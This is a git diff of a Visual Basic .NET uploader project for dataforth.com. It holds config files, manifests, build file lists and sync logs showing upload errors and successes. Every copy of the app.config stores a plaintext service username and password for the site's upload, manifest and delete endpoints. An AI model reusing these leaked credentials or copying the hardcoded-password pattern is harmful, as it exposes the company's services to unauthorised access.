<add key="TestMode" value="false"/>
|
||||
|
||||
</appSettings>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2"/></startup></configuration>
|
||||
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<appSettings>
|
||||
<add key="UploaderServiceURL" value="https://www.dataforth.com/Services/Uploader.aspx"/>
|
||||
<add key="DirectoryManifestServiceURL" value="https://www.dataforth.com/Services/DirectoryManifest.aspx"/>
|
||||
<add key="DeleteFileServiceURL" value="https://www.dataforth.com/Services/DeleteFile.aspx"/>
|
||||
<add key="ServiceUsername" value="DataforthWebShare"/>
|
||||
<add key="ServicePassword" value="Data6277"/>
|
||||
|
||||
<add key="TestDataSheetPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
<add key="TestFolderPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
|
||||
<add key="InventoryDataStagingFolder" value="C:\TestDataSheetUploader\staging"/>
|
||||
<add key="InventoryDataSourceFolder" value="C:\TestDataSheetUploader\src"/>
|
||||
<add key="InventoryDataFiles" value="AvSelCat.csv,AvSelCus.csv"/>
|
||||
|
||||
<add key="TestMode" value="false"/>
|
||||
|
||||
</appSettings>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2"/></startup></configuration>
|
||||
Binary file not shown.
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<appSettings>
|
||||
<add key="UploaderServiceURL" value="https://www.dataforth.com/Services/Uploader.aspx"/>
|
||||
<add key="DirectoryManifestServiceURL" value="https://www.dataforth.com/Services/DirectoryManifest.aspx"/>
|
||||
<add key="DeleteFileServiceURL" value="https://www.dataforth.com/Services/DeleteFile.aspx"/>
|
||||
<add key="ServiceUsername" value="DataforthWebShare"/>
|
||||
<add key="ServicePassword" value="Data6277"/>
|
||||
|
||||
<add key="TestDataSheetPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
<add key="TestFolderPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
|
||||
<add key="InventoryDataStagingFolder" value="C:\TestDataSheetUploader\staging"/>
|
||||
<add key="InventoryDataSourceFolder" value="C:\TestDataSheetUploader\src"/>
|
||||
<add key="InventoryDataFiles" value="AvSelCat.csv,AvSelCus.csv"/>
|
||||
|
||||
<add key="TestMode" value="false"/>
|
||||
|
||||
</appSettings>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v2.0.50727"/></startup></configuration>
|
||||
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
</assembly>
|
||||
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>
|
||||
TestDataSheetUploader
|
||||
</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:TestDataSheetUploader.My.Resources.Resources">
|
||||
<summary>
|
||||
A strongly-typed resource class, for looking up localized strings, etc.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.ResourceManager">
|
||||
<summary>
|
||||
Returns the cached ResourceManager instance used by this class.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.Culture">
|
||||
<summary>
|
||||
Overrides the current thread's CurrentUICulture property for all
|
||||
resource lookups using this strongly typed resource class.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,6 @@
|
||||
08/22/YYYY 15:47:17 | SyncFolder(TestFolder) started.
|
||||
08/22/YYYY 15:47:32 | Upload FAILED for C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Listing.pdf
|
||||
08/22/YYYY 15:47:32 | Upload FAIL MESSAGE: GSSG Service Upload Error: UploadType not recognized: TestFolder
|
||||
08/22/YYYY 15:47:32 | Upload FAILED for C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Rules.pdf
|
||||
08/22/YYYY 15:47:32 | Upload FAIL MESSAGE: GSSG Service Upload Error: UploadType not recognized: TestFolder
|
||||
08/22/YYYY 15:47:32 | No obsolete TestFolder files were detected.
|
||||
@@ -0,0 +1,6 @@
|
||||
08/22/YYYY 15:51:12 | SyncFolder(TestFolder) started.
|
||||
08/22/YYYY 15:51:15 | Upload FAILED for C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Listing.pdf
|
||||
08/22/YYYY 15:51:15 | Upload FAIL MESSAGE: Dataforth Service Upload Error: Access to the path 'C:\inetpub\wwwroot\dataforth.com\WebShare\ProcessCheckOutTestFolder\Custom Product Listing.pdf' is denied.
|
||||
08/22/YYYY 15:51:15 | Upload FAILED for C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Rules.pdf
|
||||
08/22/YYYY 15:51:15 | Upload FAIL MESSAGE: Dataforth Service Upload Error: Access to the path 'C:\inetpub\wwwroot\dataforth.com\WebShare\ProcessCheckOutTestFolder\Custom Product Rules.pdf' is denied.
|
||||
08/22/YYYY 15:51:15 | No obsolete TestFolder files were detected.
|
||||
@@ -0,0 +1,4 @@
|
||||
08/22/YYYY 15:57:38 | SyncFolder(TestFolder) started.
|
||||
08/22/YYYY 15:57:39 | Uploaded file: C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Listing.pdf
|
||||
08/22/YYYY 15:57:40 | Uploaded file: C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Rules.pdf
|
||||
08/22/YYYY 15:57:40 | No obsolete TestFolder files were detected.
|
||||
@@ -0,0 +1,9 @@
|
||||
08/22/YYYY 16:00:07 | SyncFolder(TestDataSheet) started.
|
||||
08/22/YYYY 16:02:13 | Exception in SyncFolder: System.Xml.XmlException: Data at the root level is invalid. Line 1, position 1.
|
||||
at System.Xml.XmlTextReaderImpl.Throw(Exception e)
|
||||
at System.Xml.XmlTextReaderImpl.ParseRootLevelWhitespace()
|
||||
at System.Xml.XmlTextReaderImpl.ParseDocumentContent()
|
||||
at System.Xml.XmlReader.MoveToContent()
|
||||
at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
|
||||
at CSFramework.CSFramework_Utilities.XMLData.DatasetFromXML(String xml) in C:\Users\hoffm\Documents\Visual Studio 2015\Projects\OEMData\CSFramework\CSFramework\CSFramework_Utilities\XMLData.vb:line 66
|
||||
at TestDataSheetUploader.Module1.SyncFolder(String FolderAlias) in C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\Module1.vb:line 81
|
||||
@@ -0,0 +1,8 @@
|
||||
03/31/YYYY 16:13:55 | SyncFolder(InventoryDataFolder) started.
|
||||
03/31/YYYY 16:14:00 | Exception in SyncFolder: System.Xml.XmlException: Root element is missing.
|
||||
at System.Xml.XmlTextReaderImpl.Throw(Exception e)
|
||||
at System.Xml.XmlTextReaderImpl.ParseDocumentContent()
|
||||
at System.Xml.XmlReader.MoveToContent()
|
||||
at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
|
||||
at TestDataSheetUploader.CSFramework_Utilities.XMLData.DatasetFromXML(String xml) in C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\XMLData.vb:line 72
|
||||
at TestDataSheetUploader.Module1.SyncFolder(String FolderAlias) in C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\Module1.vb:line 112
|
||||
@@ -0,0 +1,3 @@
|
||||
03/31/YYYY 16:18:48 | SyncFolder(InventoryDataFolder) started.
|
||||
03/31/YYYY 16:19:34 | Exception in SyncFolder: System.NullReferenceException: Object reference not set to an instance of an object.
|
||||
at TestDataSheetUploader.Module1.SyncFolder(String FolderAlias) in C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\Module1.vb:line 114
|
||||
@@ -0,0 +1,9 @@
|
||||
03/31/YYYY 16:20:24 | SyncFolder(InventoryDataFolder) started.
|
||||
03/31/YYYY 16:20:30 | Manifest downloaded with 1 files.
|
||||
03/31/YYYY 16:20:30 | Accessing local folder: C:\TestDataSheetUploader\staging
|
||||
03/31/YYYY 16:20:30 | Found at least 1 file in local folder
|
||||
03/31/YYYY 16:20:30 | Requesting upload: AvSelCat.csv
|
||||
03/31/YYYY 16:20:30 | Requesting upload: AvSelCus.csv
|
||||
03/31/YYYY 16:20:30 | Found 2 files that need to be uploaded.
|
||||
03/31/YYYY 16:20:41 | Requested InventoryDataFolder Delete: New Text Document.txt
|
||||
03/31/YYYY 16:20:41 | Found 1 files to delete.
|
||||
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<appSettings>
|
||||
<add key="UploaderServiceURL" value="https://www.dataforth.com/Services/Uploader.aspx"/>
|
||||
<add key="DirectoryManifestServiceURL" value="https://www.dataforth.com/Services/DirectoryManifest.aspx"/>
|
||||
<add key="DeleteFileServiceURL" value="https://www.dataforth.com/Services/DeleteFile.aspx"/>
|
||||
<add key="ServiceUsername" value="DataforthWebShare"/>
|
||||
<add key="ServicePassword" value="Data6277"/>
|
||||
|
||||
<add key="TestDataSheetPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
<add key="TestFolderPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
|
||||
<add key="InventoryDataStagingFolder" value="C:\TestDataSheetUploader\staging"/>
|
||||
<add key="InventoryDataSourceFolder" value="C:\TestDataSheetUploader\src"/>
|
||||
<add key="InventoryDataFiles" value="AvSelCat.csv,AvSelCus.csv"/>
|
||||
|
||||
<add key="TestMode" value="false"/>
|
||||
|
||||
</appSettings>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2"/></startup></configuration>
|
||||
Binary file not shown.
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<appSettings>
|
||||
<add key="UploaderServiceURL" value="https://www.dataforth.com/Services/Uploader.aspx"/>
|
||||
<add key="DirectoryManifestServiceURL" value="https://www.dataforth.com/Services/DirectoryManifest.aspx"/>
|
||||
<add key="DeleteFileServiceURL" value="https://www.dataforth.com/Services/DeleteFile.aspx"/>
|
||||
<add key="ServiceUsername" value="DataforthWebShare"/>
|
||||
<add key="ServicePassword" value="Data6277"/>
|
||||
|
||||
<add key="TestDataSheetPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
<add key="TestFolderPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
|
||||
<add key="InventoryDataStagingFolder" value="C:\TestDataSheetUploader\staging"/>
|
||||
<add key="InventoryDataSourceFolder" value="C:\TestDataSheetUploader\src"/>
|
||||
<add key="InventoryDataFiles" value="AvSelCat.csv,AvSelCus.csv"/>
|
||||
|
||||
<add key="TestMode" value="false"/>
|
||||
|
||||
</appSettings>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2"/></startup></configuration>
|
||||
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
</assembly>
|
||||
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>
|
||||
TestDataSheetUploader
|
||||
</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:TestDataSheetUploader.My.Resources.Resources">
|
||||
<summary>
|
||||
A strongly-typed resource class, for looking up localized strings, etc.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.ResourceManager">
|
||||
<summary>
|
||||
Returns the cached ResourceManager instance used by this class.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.Culture">
|
||||
<summary>
|
||||
Overrides the current thread's CurrentUICulture property for all
|
||||
resource lookups using this strongly typed resource class.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
Binary file not shown.
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<FolderContents>
|
||||
<ContentFile>
|
||||
<Filename>AvSelCat.csv</Filename>
|
||||
<Filesize>10900</Filesize>
|
||||
<DateLastUpdated>2019-06-06T05:10:18.549187Z</DateLastUpdated>
|
||||
</ContentFile>
|
||||
<ContentFile>
|
||||
<Filename>AvSelCus.csv</Filename>
|
||||
<Filesize>2529</Filesize>
|
||||
<DateLastUpdated>2019-06-06T01:10:32.1961739Z</DateLastUpdated>
|
||||
</ContentFile>
|
||||
</FolderContents>
|
||||
@@ -0,0 +1,7 @@
|
||||
' <autogenerated/>
|
||||
Option Strict Off
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName:=".NET Framework 4.7.2")>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
ff0a48e8544663eb773da2d9d956c2efd790e83a
|
||||
@@ -0,0 +1,22 @@
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.exe.config
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.Resources.resources
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbproj.GenerateResource.Cache
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbprojResolveAssemblyReference.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.exe.config
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.exe
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.pdb
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.xml
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbproj.AssemblyReference.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbproj.SuggestedBindingRedirects.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.Resources.resources
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbproj.GenerateResource.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbproj.CoreCompileInputs.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.exe
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.xml
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.pdb
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>
|
||||
TestDataSheetUploader
|
||||
</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:TestDataSheetUploader.My.Resources.Resources">
|
||||
<summary>
|
||||
A strongly-typed resource class, for looking up localized strings, etc.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.ResourceManager">
|
||||
<summary>
|
||||
Returns the cached ResourceManager instance used by this class.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.Culture">
|
||||
<summary>
|
||||
Overrides the current thread's CurrentUICulture property for all
|
||||
resource lookups using this strongly typed resource class.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
@@ -0,0 +1,7 @@
|
||||
' <autogenerated/>
|
||||
Option Strict Off
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName:=".NET Framework 4.7.2")>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
97dae5c7224d0c77b10fa6d035307499d50af816
|
||||
@@ -0,0 +1,32 @@
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe.config
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.Resources.resources
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.GenerateResource.Cache
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbprojResolveAssemblyReference.cache
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe.config
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbprojResolveAssemblyReference.cache
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.Resources.resources
|
||||
C:\Users\hoffm\source\repos\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.GenerateResource.Cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe.config
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.exe
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.pdb
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Release\TestDataSheetUploader.xml
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.AssemblyReference.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.SuggestedBindingRedirects.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.Resources.resources
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.GenerateResource.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.vbproj.CoreCompileInputs.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Release\TestDataSheetUploader.exe
|
||||
